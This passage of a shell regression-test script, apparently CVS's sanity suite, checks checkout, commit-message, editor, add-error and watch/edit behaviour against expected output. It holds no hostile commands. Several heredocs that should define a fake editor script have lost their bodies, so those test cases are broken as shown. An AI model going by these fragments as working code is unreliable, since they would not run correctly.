1\\.1\ndone\"\n\n\t # First, demonstrate the usual case.\n\t cd ../t2\n\t dotest trailingslashes-1 \"$testcvs -q up CVSROOT\"\n\t dotest_fail trailingslashes-1a \"test -f topfile\"\n\n\t # Now the one that used to fail in remote mode prior to 1.11.24\n\t # & 1.12.14. Formerly TODO item #205.\n\t dotest trailingslashes-2 \"$testcvs -q up CVSROOT/\"\n\t dotest_fail trailingslashes-2a \"test -f topfile\"\n\n\t if $keep; then\n\t echo Keeping $TESTDIR and exiting due to --keep\n\t exit 0\n\t fi\n\n\t cd ../..\n\t rm -rf trailingslashes $CVSROOT_DIRNAME/topfile,v\n\t ;;\n\n\n\n checkout_repository)\n dotest_fail checkout_repository-1 \\\n\"${testcvs} co -d ${CVSROOT_DIRNAME} CVSROOT\" \\\n\"${PROG} \\[checkout aborted\\]: Cannot check out files into the repository itself\" \\\n\"${PROG} \\[checkout aborted\\]: absolute pathname \\`${CVSROOT_DIRNAME}' illegal for server\"\n\n\t # The behavior of the client/server test below should be correct.\n\t # The CVS client currently has no way of knowing that the client and\n\t # server are the same machine and thus skips the $CVSROOT checks.\n\t # I think checking for this case in CVS would be bloat since this\n\t # should be a fairly rare occurance.\n\t cd ${CVSROOT_DIRNAME}\n dotest_fail checkout_repository-2 \"${testcvs} co CVSROOT\" \\\n\"${PROG} \\[checkout aborted\\]: Cannot check out files into the repository itself\" \\\n\"${PROG} checkout: Updating CVSROOT\n${PROG} checkout: move away CVSROOT/checkoutlist; it is in the way\nC CVSROOT/checkoutlist\n${PROG} checkout: move away CVSROOT/commitinfo; it is in the way\nC CVSROOT/commitinfo\n${PROG} checkout: move away CVSROOT/config; it is in the way\nC CVSROOT/config\n${PROG} checkout: move away CVSROOT/cvswrappers; it is in the way\nC CVSROOT/cvswrappers\n${PROG} checkout: move away CVSROOT/editinfo; it is in the way\nC CVSROOT/editinfo\n${PROG} checkout: move away CVSROOT/loginfo; it is in the way\nC CVSROOT/loginfo\n${PROG} checkout: move away CVSROOT/modules; it is in the way\nC CVSROOT/modules\n${PROG} checkout: move away CVSROOT/notify; it is in the way\nC CVSROOT/notify\n${PROG} checkout: move away CVSROOT/rcsinfo; it is in the way\nC CVSROOT/rcsinfo\n${PROG} checkout: move away CVSROOT/taginfo; it is in the way\nC CVSROOT/taginfo\n${PROG} checkout: move away CVSROOT/verifymsg; it is in the way\nC CVSROOT/verifymsg\"\n\n dotest checkout_repository-3 \\\n\"${testcvs} co -p CVSROOT/modules >/dev/null\" \\\n\"===================================================================\nChecking out CVSROOT/modules\nRCS: ${CVSROOT_DIRNAME}/CVSROOT/modules,v\nVERS: 1\\.[0-9]*\n\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\"\n\t cd ${TESTDIR}\n ;;\n\n\tmflag)\n\t for message in '' ' ' '\t\n ' ' \t \ttest' ; do\n\t # Set up\n\t mkdir a-dir; cd a-dir\n\t # Test handling of -m during import\n\t echo testa >>test\n\t if ${testcvs} import -m \"$message\" a-dir A A1 >>${LOGFILE} 2>&1;then\n\t pass 156\n\t else\n\t\tfail 156\n\t fi\n\t # Must import twice since the first time uses inline code that\n\t # avoids RCS call.\n\t echo testb >>test\n\t if ${testcvs} import -m \"$message\" a-dir A A2 >>${LOGFILE} 2>&1;then\n\t\tpass 157\n\t else\n\t\tfail 157\n\t fi\n\t # Test handling of -m during ci\n\t cd ..; rm -r a-dir\n\t if ${testcvs} co a-dir >>${LOGFILE} 2>&1; then\n\t\tpass 158\n\t else\n\t\tfail 158\n\t fi\n\t cd a-dir\n\t echo testc >>test\n\t if ${testcvs} ci -m \"$message\" >>${LOGFILE} 2>&1; then\n\t\tpass 159\n\t else\n\t\tfail 159\n\t fi\n\t # Test handling of -m during rm/ci\n\t rm test;\n\t if ${testcvs} rm test >>${LOGFILE} 2>&1; then\n\t\tpass 160\n\t else\n\t\tfail 160\n\t fi\n\t if ${testcvs} ci -m \"$message\" >>${LOGFILE} 2>&1; then\n\t\tpass 161\n\t else\n\t\tfail 161\n\t fi\n\t # Clean up\n\t cd ..\n\t rm -r a-dir\n\t rm -rf ${CVSROOT_DIRNAME}/a-dir\n\t done\n\t ;;\n\n\teditor)\n\t # More tests of log messages, in this case the ability to\n\t # run an external editor.\n\t # TODO:\n\t # * also test $EDITOR, $CVSEDITOR, &c.\n\t # * test what happens if up-to-date check fails.\n\n\t # Our \"editor\" puts \"x\" at the start of each line, so we\n\t # can see the \"CVS:\" lines.\n\t cat >${TESTDIR}/editme <${TESTDIR}/edit.new\nmv ${TESTDIR}/edit.new \\$1\nexit 0\nEOF\n\t chmod +x ${TESTDIR}/editme\n\n\t mkdir 1; cd 1\n\t dotest editor-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest editor-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n\t cd first-dir\n\t touch file1 file2\n\t dotest editor-3 \"${testcvs} add file1 file2\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: scheduling file .file2. for addition\n${PROG} add: use .${PROG} commit. to add these files permanently\"\n\t dotest editor-4 \"${testcvs} -e ${TESTDIR}/editme -q ci\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\ndone\nChecking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\ninitial revision: 1\\.1\ndone\"\n\t dotest editor-5 \"${testcvs} -q tag -b br\" \"T file1\nT file2\"\n\t dotest editor-6 \"$testcvs -q update -r br\" \\\n'U file1\nU file2'\n\t echo modify >>file1\n\t dotest editor-7 \"${testcvs} -e ${TESTDIR}/editme -q ci\" \\\n\"Checking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\t # OK, now we want to make sure \"ci -r\" puts in the branch\n\t # where appropriate. Note that we can check in on the branch\n\t # without being on the branch, because there is not a revision\n\t # already on the branch. If there were a revision on the branch,\n\t # CVS would correctly give an up-to-date check failed.\n\t dotest editor-8 \"$testcvs -q update -A\" \\\n'U file1\nU file2'\n\t echo add a line >>file2\n\t dotest editor-9 \"${testcvs} -q -e ${TESTDIR}/editme ci -rbr file2\" \\\n\"Checking in file2;\n${CVSROOT_DIRNAME}/first-dir/file2,v <-- file2\nnew revision: 1\\.1\\.2\\.1; previous revision: 1\\.1\ndone\"\n\n\t dotest editor-log-file1 \"${testcvs} log -N file1\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\nWorking file: file1\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nxCVS: ----------------------------------------------------------------------\nxCVS: Enter Log. Lines beginning with .CVS:. are removed automatically\nxCVS:\nxCVS: Committing in .\nxCVS:\nxCVS: Added Files:\nxCVS: \tfile1 file2\nxCVS: ----------------------------------------------------------------------\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nxCVS: ----------------------------------------------------------------------\nxCVS: Enter Log. Lines beginning with .CVS:. are removed automatically\nxCVS:\nxCVS: Committing in .\nxCVS:\nxCVS: Modified Files:\nxCVS: Tag: br\nxCVS: \tfile1\nxCVS: ----------------------------------------------------------------------\n=============================================================================\"\n\n\t # The only difference between the two expect strings is the\n\t # presence or absence of \"Committing in .\" for 1.1.2.1.\n\t dotest editor-log-file2 \"${testcvs} log -N file2\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nxCVS: ----------------------------------------------------------------------\nxCVS: Enter Log. Lines beginning with .CVS:. are removed automatically\nxCVS:\nxCVS: Committing in .\nxCVS:\nxCVS: Added Files:\nxCVS: \tfile1 file2\nxCVS: ----------------------------------------------------------------------\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nxCVS: ----------------------------------------------------------------------\nxCVS: Enter Log. Lines beginning with .CVS:. are removed automatically\nxCVS:\nxCVS: Modified Files:\nxCVS: Tag: br\nxCVS: \tfile2\nxCVS: ----------------------------------------------------------------------\n=============================================================================\" \"\nRCS file: ${CVSROOT_DIRNAME}/first-dir/file2,v\nWorking file: file2\nhead: 1\\.1\nbranch:\nlocks: strict\naccess list:\nkeyword substitution: kv\ntotal revisions: 2;\tselected revisions: 2\ndescription:\n----------------------------\nrevision 1\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp;\nbranches: 1\\.1\\.2;\nxCVS: ----------------------------------------------------------------------\nxCVS: Enter Log. Lines beginning with .CVS:. are removed automatically\nxCVS:\nxCVS: Committing in .\nxCVS:\nxCVS: Added Files:\nxCVS: \tfile1 file2\nxCVS: ----------------------------------------------------------------------\n----------------------------\nrevision 1\\.1\\.2\\.1\ndate: [0-9/]* [0-9:]*; author: ${username}; state: Exp; lines: ${PLUS}1 -0\nxCVS: ----------------------------------------------------------------------\nxCVS: Enter Log. Lines beginning with .CVS:. are removed automatically\nxCVS:\nxCVS: Committing in .\nxCVS:\nxCVS: Modified Files:\nxCVS: Tag: br\nxCVS: \tfile2\nxCVS: ----------------------------------------------------------------------\n=============================================================================\"\n\n\t # Test CVS's response to an unchanged log message\n\t cat >${TESTDIR}/editme <${TESTDIR}/editme <\\$1\nexit 0\nEOF\n\t chmod +x ${TESTDIR}/editme\n\t dotest_fail editor-emptylog-1 \"echo a |${testcvs} -e ${TESTDIR}/editme ci -f file1\" \\\n\"\nLog message unchanged or not specified\na)bort, c)ontinue, e)dit, !)reuse this message unchanged for remaining dirs\nAction: (continue) ${PROG} \\[[a-z]* aborted\\]: aborted by user\"\n\n\t # Test CVS's response to a log message with one blank line\n\t cat >${TESTDIR}/editme <\\$1\nexit 0\nEOF\n\t chmod +x ${TESTDIR}/editme\n\t dotest_fail editor-emptylog-1 \"echo a |${testcvs} -e ${TESTDIR}/editme ci -f file1\" \\\n\"\nLog message unchanged or not specified\na)bort, c)ontinue, e)dit, !)reuse this message unchanged for remaining dirs\nAction: (continue) ${PROG} \\[[a-z]* aborted\\]: aborted by user\"\n\n\t # Test CVS's response to a log message with only comments\n\t cat >${TESTDIR}/editme <${TESTDIR}/edit.new\nmv ${TESTDIR}/edit.new \\$1\nexit 0\nEOF\n\t chmod +x ${TESTDIR}/editme\n\t dotest_fail editor-emptylog-1 \"echo a |${testcvs} -e ${TESTDIR}/editme ci -f file1\" \\\n\"\nLog message unchanged or not specified\na)bort, c)ontinue, e)dit, !)reuse this message unchanged for remaining dirs\nAction: (continue) ${PROG} \\[[a-z]* aborted\\]: aborted by user\"\n\n\t # Test CVS's response to a log message that is zero bytes\n\t # in length. This caused core dumps in cvs 1.11.5 on Solaris\n\t # hosts.\n\t cd ..\n\t dotest editor-emptylog-continue-1 \"${testcvs} -q co CVSROOT/loginfo\" \\\n\"U CVSROOT/loginfo\"\n\n cd CVSROOT\n\t echo 'DEFAULT (echo Start-Log;cat;echo End-Log) >> \\$CVSROOT/CVSROOT/commitlog' > loginfo\n\t dotest editor-emptylog-continue-2 \"${testcvs} commit -m add loginfo\" \\\n\"Checking in loginfo;\n${CVSROOT_DIRNAME}/CVSROOT/loginfo,v <-- loginfo\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\n${PROG} commit: Rebuilding administrative file database\"\n\n\t cd ../first-dir\n\t cat >${TESTDIR}/editme <>${LOGFILE}; then\n\t pass 163\n\t else\n\t fail 163\n\t fi\n\t if ${testcvs} ci -m added >>${LOGFILE} 2>&1; then\n\t pass 164\n\t else\n\t fail 164\n\t fi\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\t if ${testcvs} -q co 1dir >>${LOGFILE}; then\n\t pass 165\n\t else\n\t fail 165\n\t fi\n\t chmod a-w 1dir\n\t cd ../1/1dir\n\t rm foo;\n\t if ${testcvs} rm foo >>${LOGFILE} 2>&1; then\n\t pass 166\n\t else\n\t fail 166\n\t fi\n\t if ${testcvs} ci -m removed >>${LOGFILE} 2>&1; then\n\t pass 167\n\t else\n\t fail 167\n\t fi\n\n\t cd ../../2/1dir\n\t # The second case in the local and remote versions of errmsg1-168\n\t # below happens on Cygwin under Windows, where write privileges\n\t # aren't enforced properly.\n\t if $remote; then\n\t dotest errmsg1-168r \"${testcvs} -q update\" \\\n\"${PROG} update: foo is no longer in the repository\n${PROG} update: unable to remove \\./foo: Permission denied\" \\\n\"${PROG} update: foo is no longer in the repository\"\n\t else\n\t dotest errmsg1-168 \"${testcvs} -q update\" \\\n\"${PROG} update: foo is no longer in the repository\n${PROG} update: unable to remove foo: Permission denied\" \\\n\"${PROG} update: foo is no longer in the repository\"\n\t fi\n\n\t cd ..\n\t chmod u+w 1dir\n\t cd ..\n\t rm -r 1 2\n\t rm -rf ${CVSROOT_DIRNAME}/1dir\n\t ;;\n\n\terrmsg2)\n\t # More tests of various miscellaneous error handling,\n\t # and cvs add behavior in general.\n\t # See also test basicb-4a, concerning \"cvs ci CVS\".\n\t # Too many tests to mention test the simple cases of\n\t # adding files and directories.\n\t # Test basicb-2a10 tests cvs -n add.\n\n\t # First the usual setup; create a directory first-dir.\n\t mkdir 1; cd 1\n\t dotest errmsg2-1 \"${testcvs} -q co -l .\" ''\n\t mkdir first-dir\n\t dotest errmsg2-2 \"${testcvs} add first-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir added to the repository\"\n cd first-dir\n\t dotest_fail errmsg2-3 \"${testcvs} add CVS\" \\\n\"${PROG} [a-z]*: cannot add special file .CVS.; skipping\"\n\t touch file1\n\t # For the most part add returns a failure exitstatus if\n\t # there are any errors, even if the remaining files are\n\t # processed without incident. The \"cannot add\n\t # special file\" message fits this pattern, at\n\t # least currently.\n\t dotest_fail errmsg2-4 \"${testcvs} add CVS file1\" \\\n\"${PROG} add: cannot add special file .CVS.; skipping\n${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t # I'm not sure these tests completely convey the various strange\n\t # behaviors that CVS had before it specially checked for \".\" and\n\t # \"..\". Suffice it to say that these are unlikely to work right\n\t # without a special case.\n\t dotest_fail errmsg2-5 \"${testcvs} add .\" \\\n\"${PROG} [a-z]*: cannot add special file .\\..; skipping\"\n\t dotest_fail errmsg2-6 \"${testcvs} add ..\" \\\n\"${PROG} [a-z]*: cannot add special file .\\.\\..; skipping\"\n\t # Make sure that none of the error messages left droppings\n\t # which interfere with normal operation.\n\t dotest errmsg2-7 \"${testcvs} -q ci -m add-file1\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/first-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\t mkdir sdir\n\t cd ..\n\t dotest errmsg2-8 \"${testcvs} add first-dir/sdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir added to the repository\"\n\t # while we're here... check commit with no CVS directory\n\t dotest_fail errmsg2-8a \"${testcvs} -q ci first-dir nonexistant\" \\\n\"${PROG} [a-z]*: nothing known about .nonexistant'\n${PROG} \\[[a-z]* aborted\\]: correct above errors first!\"\n\t dotest_fail errmsg2-8b \"${testcvs} -q ci nonexistant first-dir\" \\\n\"${PROG} [a-z]*: nothing known about .nonexistant'\n${PROG} \\[[a-z]* aborted\\]: correct above errors first!\"\n\t dotest errmsg2-8c \"${testcvs} -q ci first-dir\" \"\"\n\n\t cd first-dir\n\n\t touch file10\n\t mkdir sdir10\n\t dotest errmsg2-10 \"${testcvs} add file10 sdir10\" \\\n\"${PROG} add: scheduling file .file10. for addition\nDirectory ${CVSROOT_DIRNAME}/first-dir/sdir10 added to the repository\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t dotest errmsg2-11 \"${testcvs} -q ci -m add-file10\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file10,v\ndone\nChecking in file10;\n${CVSROOT_DIRNAME}/first-dir/file10,v <-- file10\ninitial revision: 1\\.1\ndone\"\n\t # Try to see that there are no droppings left by\n\t # any of the previous tests.\n\t dotest errmsg2-12 \"${testcvs} -q update\" \"\"\n\n\t # Now test adding files with '/' in the name, both one level\n\t # down and more than one level down.\n\t cd ..\n\t mkdir first-dir/sdir10/ssdir\n\t dotest errmsg2-13 \"${testcvs} add first-dir/sdir10/ssdir\" \\\n\"Directory ${CVSROOT_DIRNAME}/first-dir/sdir10/ssdir added to the repository\"\n\n\t touch first-dir/sdir10/ssdir/ssfile\n\t dotest errmsg2-14 \\\n\t \"${testcvs} add first-dir/sdir10/ssdir/ssfile\" \\\n\"${PROG} add: scheduling file .first-dir/sdir10/ssdir/ssfile. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\t touch first-dir/file15\n\t dotest errmsg2-15 \"${testcvs} add first-dir/file15\" \\\n\"${PROG} add: scheduling file .first-dir/file15. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t # Now the case where we try to give it a directory which is not\n\t # under CVS control.\n\t mkdir bogus-dir\n\t touch bogus-dir/file16\n\t # The first message, from local CVS, is nice. The second one\n\t # is not nice; would be good to fix remote CVS to give a clearer\n\t # message (e.g. the one from local CVS). But at least it is an\n\t # error message.\n\t dotest_fail errmsg2-16 \"${testcvs} add bogus-dir/file16\" \\\n\"${PROG} add: in directory bogus-dir:\n${PROG} \\[add aborted\\]: there is no version here; do .${PROG} checkout. first\" \\\n\"${PROG} add: cannot open CVS/Entries for reading: No such file or directory\n${PROG} \\[add aborted\\]: no repository\"\n\t rm -r bogus-dir\n\n\t # One error condition we don't test for is trying to add a file\n\t # or directory which already is there.\n\n\t dotest errmsg2-17 \"${testcvs} -q ci -m checkin\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/file15,v\ndone\nChecking in first-dir/file15;\n${CVSROOT_DIRNAME}/first-dir/file15,v <-- file15\ninitial revision: 1\\.1\ndone\nRCS file: ${CVSROOT_DIRNAME}/first-dir/sdir10/ssdir/ssfile,v\ndone\nChecking in first-dir/sdir10/ssdir/ssfile;\n${CVSROOT_DIRNAME}/first-dir/sdir10/ssdir/ssfile,v <-- ssfile\ninitial revision: 1\\.1\ndone\"\n\t dotest errmsg2-18 \"${testcvs} -Q tag test\" ''\n\n\t # trying to import the repository\n\n\t if $remote; then :; else\n\t cd ${CVSROOT_DIRNAME}\n\t dotest_fail errmsg2-20 \"${testcvs} import -mtest . A B\" \\\n\"${PROG} \\[import aborted\\]: attempt to import the repository\"\n\t dotest_fail errmsg2-21 \"${testcvs} import -mtest first-dir A B\" \\\n\"${PROG} \\[import aborted\\]: attempt to import the repository\"\n\t fi\n\n\t cd ..\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tadderrmsg)\n\t # Test some of the error messages the 'add' command can return and\n\t # their reactions to '-q'.\n\n\t # First the usual setup; create a directory first-dir.\n\t mkdir 1; cd 1\n\t dotest adderrmsg-init1 \"${testcvs} -q co -l .\" ''\n\t mkdir adderrmsg-dir\n\t dotest adderrmsg-init2 \"${testcvs} add adderrmsg-dir\" \\\n\"Directory ${CVSROOT_DIRNAME}/adderrmsg-dir added to the repository\"\n cd adderrmsg-dir\n\n\t # try to add the admin dir\n\t dotest_fail adderrmsg-1 \"${testcvs} add CVS\" \\\n\"${PROG} [a-z]*: cannot add special file .CVS.; skipping\"\n\t # might not want to see this message when you 'cvs add *'\n\t dotest_fail adderrmsg-2 \"${testcvs} -q add CVS\" \"\"\n\n\t # to test some other messages\n\t touch file1\n\t dotest adderrmsg-3 \"${testcvs} add file1\" \\\n\"${PROG} add: scheduling file .file1. for addition\n${PROG} add: use .${PROG} commit. to add this file permanently\"\n\n\t # add it twice\n\t dotest_fail adderrmsg-4 \"${testcvs} add file1\" \\\n\"${PROG} add: file1 has already been entered\"\n\t dotest_fail adderrmsg-5 \"${testcvs} -q add file1\" \"\"\n\n\t dotest adderrmsg-6 \"${testcvs} -q ci -madd\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/adderrmsg-dir/file1,v\ndone\nChecking in file1;\n${CVSROOT_DIRNAME}/adderrmsg-dir/file1,v <-- file1\ninitial revision: 1\\.1\ndone\"\n\n\t # file in Entries & repository\n\t dotest_fail adderrmsg-7 \"${testcvs} add file1\" \\\n\"${PROG} add: file1 already exists, with version number 1\\.1\"\n\t dotest_fail adderrmsg-8 \"${testcvs} -q add file1\" \"\"\n\n\t # clean up\n\t cd ../..\n\t if $keep; then :; else\n\t rm -r 1\n\t rm -rf ${CVSROOT_DIRNAME}/adderrmsg-dir\n\t fi\n\t ;;\n\n\topterrmsg)\n\t # Test some option parsing error messages\n\n\t # No init is necessary since these error messages are printed b4\n\t # CVS looks for a sandbox or repository\n\n\t # -z used to accept non-numeric arguments. This bit someone who\n\t # attempted `cvs -z -n up' when the -n was read as the argument to\n\t # -z.\n\t dotest_fail opterrmsg-1 \"${testcvs} -z -n up\" \\\n\"${PROG}: gzip compression level must be between 0 and 9\"\n\n\t # Some general -z checks\n\t dotest_fail opterrmsg-2 \"${testcvs} -z -1 up\" \\\n\"${PROG}: gzip compression level must be between 0 and 9\"\n\t dotest_fail opterrmsg-3 \"${testcvs} -z10 up\" \\\n\"${PROG}: gzip compression level must be between 0 and 9\"\n\t ;;\n\n\tdevcom)\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1\n\t cd 1\n\t dotest devcom-1 \"${testcvs} -q co first-dir\"\n\n\t cd first-dir\n\t echo abb >abb\n\t dotest devcom-2 \"${testcvs} add abb\" \\\n\"$PROG add: scheduling file \\`abb' for addition\n$PROG add: use '$PROG commit' to add this file permanently\"\n\n\t dotest devcom-3 \"${testcvs} -q ci -m added\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/abb,v\ndone\nChecking in abb;\n${CVSROOT_DIRNAME}/first-dir/abb,v <-- abb\ninitial revision: 1\\.1\ndone\"\n\n\t dotest_fail devcom-4 \"${testcvs} watch\" \"Usage${DOTSTAR}\"\n\n\t dotest devcom-5 \"${testcvs} watch on\"\n\n\t echo abc >abc\n\t dotest devcom-6 \"${testcvs} add abc\" \\\n\"$PROG add: scheduling file \\`abc' for addition\n$PROG add: use '$PROG commit' to add this file permanently\"\n\n\t dotest devcom-7 \"${testcvs} -q ci -m added\" \\\n\"RCS file: ${CVSROOT_DIRNAME}/first-dir/abc,v\ndone\nChecking in abc;\n${CVSROOT_DIRNAME}/first-dir/abc,v <-- abc\ninitial revision: 1\\.1\ndone\"\n\n\t cd ../..\n\t mkdir 2\n\t cd 2\n\n\t dotest devcom-8 \"${testcvs} -q co first-dir\" \\\n\"U first-dir/abb\nU first-dir/abc\"\n\n\t cd first-dir\n\t dotest_fail devcom-9 \"test -w abb\"\n\t dotest_fail devcom-9 \"test -w abc\"\n\n\t dotest devcom-10 \"${testcvs} editors\" \"\"\n\n\t dotest devcom-11 \"${testcvs} edit abb\"\n\n\t # Here we test for the traditional ISO C ctime() date format.\n\t # We assume the C locale; I guess that works provided we set\n\t # LC_ALL at the start of this script but whether these\n\t # strings should vary based on locale does not strike me as\n\t # self-evident.\n\t dotest devcom-12 \"${testcvs} editors\" \\\n\"abb\t${username}\t[SMTWF][uoehra][neduit] [JFAMSOND][aepuco][nbrylgptvc] [0-9 ][0-9] [0-9:]* [0-9][0-9][0-9][0-9] GMT\t[-a-zA-Z_.0-9]*\t${TESTDIR}/2/first-dir\"\n\n\t echo aaaa >>abb\n\t dotest devcom-13 \"${testcvs} ci -m modify abb\" \\\n\"Checking in abb;\n${CVSROOT_DIRNAME}/first-dir/abb,v <-- abb\nnew revision: 1\\.2; previous revision: 1\\.1\ndone\"\n\n\t # Unedit of a file not being edited should be a noop.\n\t dotest devcom-14 \"${testcvs} unedit abb\" ''\n\n\t dotest devcom-15 \"${testcvs} editors\" \"\"\n\n\t dotest_fail devcom-16 \"test -w abb\"\n\n\t dotest devcom-17 \"${testcvs} edit abc\"\n\n\t # Unedit of an unmodified file.\n\t dotest devcom-18 \"${testcvs} unedit abc\"\n\t dotest devcom-19 \"${testcvs} edit abc\"\n\n\t echo changedabc >abc\n\t # Try to unedit a modified file; cvs should ask for confirmation\n\t dotest devcom-20 \"echo no | ${testcvs} unedit abc\" \\\n\"abc has been modified; revert changes? \"\n\n\t dotest devcom-21 \"echo changedabc | cmp - abc\"\n\n\t # OK, now confirm the unedit\n\t dotest devcom-22 \"echo yes | ${testcvs} unedit abc\" \\\n\"abc has been modified; revert changes? \"\n\n\t dotest devcom-23 \"echo abc | cmp - abc\"\n\n\t dotest devcom-24 \"${testcvs} watchers\" ''\n\n\t # FIXME: This probably should be an error message instead\n\t # of silently succeeding and printing nothing.\n\t dotest devcom-a-nonexist \"${testcvs} watchers nonexist\" ''\n\n\t dotest devcom-a1 \"${testcvs} watch add\" ''\n\t dotest devcom-a2 \"${testcvs} watchers\" \\\n\"abb\t${username}\tedit\tunedit\tcommit\nabc\t${username}\tedit\tunedit\tcommit\"\n\t dotest devcom-a3 \"${testcvs} watch remove -a unedit abb\" ''\n\t dotest devcom-a4 \"${testcvs} watchers abb\" \\\n\"abb\t${username}\tedit\tcommit\"\n\n\t # Check tagging and checking out while we have a CVS\n\t # directory in the repository.\n\t dotest devcom-t0 \"${testcvs} -q tag tag\" \\\n'T abb\nT abc'\n\t cd ../..\n\t mkdir 3\n\t cd 3\n\n\t # Test commented out because the bug it tests for is not fixed\n\t # The error is:\n\t # cvs watchers: cannot open CVS/Entries for reading: No such file or directory\n\t # cvs: ../../work/ccvs/src/fileattr.c:75: fileattr_read: Assertion `fileattr_stored_repos != ((void *)0)' failed.\n:\t dotest devcom-t-nonexist \"${testcvs} watchers nonexist\" fixme\n\n\t dotest devcom-t1 \"${testcvs} -q co -rtag first-dir/abb\" \\\n'U first-dir/abb'\n\t cd ..\n\t # Since first-dir/abb is readonly, use -f.\n\t rm -rf 3\n\n\t # Test checking out the directory rather than the file.\n\t mkdir 3\n\t cd 3\n\t dotest devcom-t2 \"${testcvs} -q co -rtag first-dir\" \\\n'U first-dir/abb\nU first-dir/abc'\n\t cd ..\n\t # Since the files are readonly, use -f.\n\t rm -rf 3\n\n\t # Now do it again, after removing the val-tags file created\n\t # by devcom-t1 to force CVS to search the repository\n\t # containing CVS directories.\n\t rm -f ${CVSROOT_DIRNAME}/CVSROOT/val-tags\n\t mkdir 3\n\t cd 3\n\t dotest devcom-t3 \"${testcvs} -q co -rtag first-dir\" \\\n'U first-dir/abb\nU first-dir/abc'\n\t cd ..\n\t # Since the files are readonly, use -f.\n\t rm -rf 3\n\n\t # Now remove all the file attributes\n\t cd 2/first-dir\n\t dotest devcom-b0 \"${testcvs} watch off\" ''\n\t dotest devcom-b1 \"${testcvs} watch remove\" ''\n\t # Test that CVS 1.6 and earlier can handle the repository.\n\t dotest_fail devcom-b2 \"test -d ${CVSROOT_DIRNAME}/first-dir/CVS\"\n\n\t # Now test watching just some, not all, files.\n\t dotest devcom-some0 \"${testcvs} watch on abc\" ''\n\t cd ../..\n\t mkdir 3\n\t cd 3\n\t dotest devcom-some1 \"${testcvs} -q co first-dir\" 'U first-dir/abb\nU first-dir/abc'\n\t dotest devcom-some2 \"test -w first-dir/abb\" ''\n\t dotest_fail devcom-some3 \"test -w first-dir/abc\" ''\n\t cd ..\n\n\t if $keep; then\n\t echo Keeping ${TESTDIR} and exiting due to --keep\n\t exit 0\n\t fi\n\n\t # Use -f because of the readonly files.\n\t rm -rf 1 2 3\n\t rm -rf ${CVSROOT_DIRNAME}/first-dir\n\t ;;\n\n\tdevcom2)\n\t # More watch tests, most notably setting watches on\n\t # files in various different states.\n\t mkdir ${CVSROOT_DIRNAME}/first-dir\n\t mkdir 1\n\t cd 1\n\t dotest devcom2-1 \"${testcvs} -q co first-dir\" ''\n\t cd first-dir\n\n\t # This should probably be an error; setting a watch on a totally\n\t # unknown file is more likely to be a typo than intentional.\n\t # But that isn't the currently implemented behavior.\n\t dotest devcom2-2 \"${testcvs} watch on w1\" ''\n\n\t touch w1 w2 w3 nw1\n\t dotest devcom2-3 \"${testcvs} add w1 w2 w3 nw1\" \"${DOTSTAR}\"\n\t # Letting the user set the watch here probably can be considered\n\t # a feature--although it leads to a few potentially strange\n\t # consequences like one user can set the watch and another actually\n\t # adds the file.\n\t dotest devcom2-4 \"${testcvs} watch on w2\" ''\n\t dotest devcom2-5 \"${testcvs} -q ci -m add-them\" \"${DOTSTAR}\"\n\n\t # Note that this test differs in a subtle way from devcom-some0;\n\t # in devcom-some0 the watch is creating a new fileattr file, and\n\t # here we are modifying an existing one.\n\t dotest devcom2-6 \"${testcvs} watch on w3\" ''\n\n\t # Now test that all the watches got set on the correct files\n\t # FIXME: CVS should have a way to report whether watches are\n\t # set, I think. The \"check it out and see if it read-only\" is\n\t # sort of OK, but is complicated by CVSREAD and doesn't help\n\t # if the file is added and not yet committed or some such.\n\t # Probably \"cvs status\" should report \"watch: on\" if watch is on\n\t # (and nothing if 